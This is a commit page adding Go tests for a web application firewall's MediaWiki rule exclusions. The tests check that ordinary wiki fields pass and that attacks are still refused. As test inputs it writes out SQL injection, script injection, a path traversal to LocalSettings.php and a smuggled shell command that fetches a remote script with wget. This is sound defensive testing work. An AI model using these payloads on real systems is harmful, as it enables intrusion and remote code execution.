Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237)
check / check (push) Successful in 4m0s
check / check (push) Successful in 4m0s
Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields that carry a search, a title, a name, a file name or an address skip the four rules that read them as commands or system files, and the wikitext fields skip the rules that refused saving a page. The reasons on the admin pages skip only 930120 and 932120. /index.php counts as MediaWiki's only with a page title in its query or after its path, since WordPress serves it too. The requests recorded from MediaWiki 1.46.2, with and without short URLs and on the admin pages, pass at the defaults and while bodies are read. The app tests share the check of recorded requests and the list of hard values. Model: opus-5-5
This commit is contained in:
1 parent
c86df7610d
commit
9f83242852
8 files changed
+1253
-52
No files matched your search
@@ -0,0 +1,367 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"slices"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const mediawikiThreshold = 5
|
||||
|
||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
||||
|
||||
// mediawikiAPI is MediaWiki's API.
|
||||
const mediawikiAPI = "/api.php"
|
||||
|
||||
// mediawikiRESTPage is a page in MediaWiki's REST API.
|
||||
const mediawikiRESTPage = "/rest.php/v1/page/Example"
|
||||
|
||||
// mediawikiUpload is MediaWiki's upload page.
|
||||
const mediawikiUpload = "/wiki/Special:Upload"
|
||||
|
||||
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
|
||||
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
|
||||
|
||||
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
|
||||
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
|
||||
|
||||
// mediawikiBlock is the address MediaWiki's form for blocking a user posts
|
||||
// to.
|
||||
const mediawikiBlock = "/wiki/Special:Block"
|
||||
|
||||
// mediawikiProtect is the address MediaWiki's form for protecting a page
|
||||
// posts to.
|
||||
const mediawikiProtect = "/index.php?title=Example&action=protect"
|
||||
|
||||
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
|
||||
// URLs posts its sign-in and upload forms.
|
||||
const (
|
||||
mediawikiSignInPage = "/index.php/Special:UserLogin"
|
||||
mediawikiUploadPage = "/index.php/Special:Upload"
|
||||
)
|
||||
|
||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||
}
|
||||
|
||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
||||
// fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||
// path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiQueryFields = []string{
|
||||
"/index.php?title=",
|
||||
"/index.php?title=Special:Search&search=",
|
||||
"/wiki/Special:WhatLinksHere?target=",
|
||||
"/wiki/Special:Log?page=",
|
||||
"/wiki/Special:Log?user=",
|
||||
"/wiki/Special:ListUsers?username=",
|
||||
"/wiki/Special:AllPages?from=",
|
||||
"/wiki/Special:AllPages?to=",
|
||||
"/wiki/Special:PrefixIndex?prefix=",
|
||||
mediawikiSignIn + "&returnto=",
|
||||
mediawikiSignIn + "&returntoquery=",
|
||||
"/wiki/Special:ListFiles?ilsearch=",
|
||||
"/wiki/Special:FileDuplicateSearch?filename=",
|
||||
mediawikiUpload + "?wpDestFile=",
|
||||
"/wiki/Special:BlockList?wpTarget=",
|
||||
"/index.php?title=Special:BlockList&wpTarget=",
|
||||
"/w/index.php?title=Special:Search&search=",
|
||||
"/index.php/Special:AllPages?from=",
|
||||
"/w/index.php/Special:Search?search=",
|
||||
"/api.php?action=opensearch&search=",
|
||||
"/api.php?action=query&list=search&srsearch=",
|
||||
"/api.php?action=query&list=prefixsearch&pssearch=",
|
||||
"/api.php?action=query&generator=prefixsearch&gpssearch=",
|
||||
"/api.php?action=query&generator=search&gsrsearch=",
|
||||
"/api.php?action=query&titles=",
|
||||
"/api.php?action=parse&page=",
|
||||
"/api.php?action=query&list=allpages&apfrom=",
|
||||
"/api.php?action=query&list=allpages&apto=",
|
||||
"/api.php?action=query&list=allpages&apprefix=",
|
||||
"/api.php?action=query&generator=allpages&gapfrom=",
|
||||
"/api.php?action=query&list=allimages&aifrom=",
|
||||
"/api.php?action=query&list=allimages&aiprefix=",
|
||||
"/api.php?action=query&list=allusers&aufrom=",
|
||||
"/api.php?action=query&list=allusers&auprefix=",
|
||||
"/api.php?action=query&list=backlinks&bltitle=",
|
||||
"/api.php?action=query&generator=backlinks&gbltitle=",
|
||||
"/api.php?action=query&list=exturlusage&euquery=",
|
||||
"/api.php?action=query&list=usercontribs&ucuser=",
|
||||
"/api.php?action=query&list=blocks&bkusers=",
|
||||
"/w/api.php?action=opensearch&search=",
|
||||
"/rest.php/v1/search/title?q=",
|
||||
"/rest.php/v1/search/page?q=",
|
||||
}
|
||||
|
||||
// mediawikiAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, as a query value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiAttacks = []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2FLocalSettings.php",
|
||||
scriptInjection,
|
||||
}
|
||||
|
||||
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
targets := append([]string{"/index.php?id=", "/load.php?modules="},
|
||||
mediawikiQueryFields...)
|
||||
|
||||
for _, attack := range mediawikiAttacks {
|
||||
for _, target := range targets {
|
||||
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mediawikiBodyField is a field of a form data body, sent to a path.
|
||||
type mediawikiBodyField struct{ target, field string }
|
||||
|
||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
||||
// fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||
// a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiBodyFields = []mediawikiBodyField{
|
||||
{mediawikiEdit, "wpSummary="},
|
||||
{mediawikiUpload, "wpUploadDescription="},
|
||||
{mediawikiUpload, "wpDestFile="},
|
||||
{mediawikiSignIn, "wpName="},
|
||||
{mediawikiSignIn, "wpPassword="},
|
||||
{mediawikiMove, "wpOldTitle="},
|
||||
{mediawikiMove, "wpNewTitleMain="},
|
||||
{mediawikiMove, "wpReason="},
|
||||
{mediawikiBlock, "wpTarget="},
|
||||
{mediawikiSignInPage, "wpName="},
|
||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||
{mediawikiUploadPage, "wpDestFile="},
|
||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||
{mediawikiAPI, "title="},
|
||||
{mediawikiAPI, "from="},
|
||||
{mediawikiAPI, "to="},
|
||||
{mediawikiAPI, "summary="},
|
||||
{mediawikiAPI, "sectiontitle="},
|
||||
{mediawikiAPI, "filename="},
|
||||
{mediawikiAPI, "comment="},
|
||||
{mediawikiAPI, "reason="},
|
||||
{mediawikiAPI, "user="},
|
||||
{mediawikiAPI, "lgname="},
|
||||
{mediawikiAPI, "lgpassword="},
|
||||
{mediawikiAPI, "username="},
|
||||
{mediawikiAPI, "password="},
|
||||
}
|
||||
|
||||
// mediawikiReasonFields are the reasons on the admin pages, which skip only
|
||||
// 930120 and 932120.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiReasonFields = []mediawikiBodyField{
|
||||
{mediawikiBlock, "wpReason-other="},
|
||||
{"/index.php/Special:UserRights", "user-reason="},
|
||||
{mediawikiProtect, "mwProtect-reason="},
|
||||
}
|
||||
|
||||
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiWikitextFields = []mediawikiBodyField{
|
||||
{mediawikiEdit, "wpTextbox1="},
|
||||
{mediawikiAPI, "text="},
|
||||
{mediawikiAPI, "appendtext="},
|
||||
{mediawikiAPI, "prependtext="},
|
||||
}
|
||||
|
||||
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||
mediawikiReasonFields)
|
||||
|
||||
for _, attack := range mediawikiAttacks {
|
||||
for _, sent := range fields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
`1' OR '1'='1`,
|
||||
`<script>alert(1)</script>`,
|
||||
} {
|
||||
for _, field := range []string{"source", "comment"} {
|
||||
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
||||
body := `{"` + field + `":"` + attack + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||
// fields that skip the other command rules, as a query value.
|
||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
|
||||
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
|
||||
|
||||
for _, target := range targets {
|
||||
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
|
||||
}
|
||||
}
|
||||
|
||||
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
||||
body := `{"comment":"; wget http://example.com/x.sh"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, value := range hardValues {
|
||||
for _, target := range mediawikiQueryFields {
|
||||
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
|
||||
t.Errorf("%s%s refused: %+v", target, value, got)
|
||||
}
|
||||
}
|
||||
|
||||
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
||||
mediawikiWikitextFields...)
|
||||
|
||||
for _, sent := range fields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
if got.Score >= mediawikiThreshold {
|
||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||
}
|
||||
}
|
||||
|
||||
// A reason names the command or file in a sentence, as recorded.
|
||||
for _, sent := range mediawikiReasonFields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
body := sent.field + "Spamming%20links%20to%20" + value + "%20guides"
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score >= mediawikiThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?search=python3",
|
||||
"/index.php?search=python3",
|
||||
"/index.php?title=Example&other=python3",
|
||||
"/other.php?title=python3",
|
||||
"/api.php?other=python3",
|
||||
"/rest.php/v1/search/title?other=python3",
|
||||
"/?q=python3",
|
||||
"/load.php?other=.htaccess",
|
||||
"/x/api.php?search=python3",
|
||||
"/x/index.php/Example?search=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
// An uploaded file named .htaccess is still refused off MediaWiki's
|
||||
// paths.
|
||||
r := request{
|
||||
http.MethodPost, "/upload.php",
|
||||
[]string{"Content-Type: multipart/form-data; boundary=b"},
|
||||
}
|
||||
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
||||
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
mediawikiAPI, mediawikiUpload,
|
||||
mediawikiUploadPage, "/w" + mediawikiUploadPage,
|
||||
} {
|
||||
r.target = target
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
||||
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// The same field name in the query keeps the rules, in the query and
|
||||
// in the body.
|
||||
for _, sent := range []struct{ target, field string }{
|
||||
{mediawikiEdit, "wpTextbox1=python3"},
|
||||
{mediawikiEdit, "wpSummary=python3"},
|
||||
{mediawikiSignIn, "wpPassword=python3"},
|
||||
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user